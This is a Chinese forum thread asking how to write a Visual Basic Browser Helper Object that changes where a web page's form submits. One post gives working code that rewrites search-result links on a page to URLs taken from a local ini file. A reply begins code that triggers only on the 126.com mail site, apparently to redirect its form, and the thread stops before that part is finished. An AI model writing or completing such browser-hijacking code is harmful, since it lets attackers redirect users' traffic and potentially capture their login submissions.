VB BHO 修改FORM提交地址

请问高手们 实现这样功能的代码怎么写？

---

我这有段代码 可以参考下 但我看不懂。

DocHtml = Doc.documentElement.innerhtml
Buffer = ReadiniFile("d:\test.ini", "REPLACE", "URL")
StrUrl = Split(Buffer, "|")
i = 1
Do While (1)
DoEvents
i = InStr(i, DocHtml, "<H3 class=r>")
If i <= 0 Then Exit Do
i = InStr(i, DocHtml, "href=") + 6
DocLinks = DocLinks & Mid(DocHtml, i, InStr(i, DocHtml, Chr(34)) - i)
Loop
ii = 0
'OutputDebugString (DocLinks)
For i = 0 To Doc.links.length - 1
If InStr(DocLinks, Doc.links(i)) > 0 Then
Doc.links.Item(i).setAttribute "href", Trim(StrUrl(ii))
ii = ii + 1
End If
Next

---

UP ......。。。。。

---

你想操作怎样的Form表单？是BHO能监视到所有站点包含的Form表单还是指定站点指定页面的Form表单？
需求不同操作不同。

---

是 指定站点指定页面的Form表单 谢谢！

---

VB code:
Private Sub IE_DocumentComplete(ByVal pDisp As Object, URL As Variant)
Dim YourURL As String
Dim IsMyWEB As Long
YourURL = "http://www.126.com"
IsMyWEB = 0
If Len(URL) >= Len(YourURL) Then
If UCase(Left(URL, Len(YourURL))) = UCase(YourURL) Then
IsMyWEB = 1
End If
End If
If IsMyWEB = 0 Then Exit Sub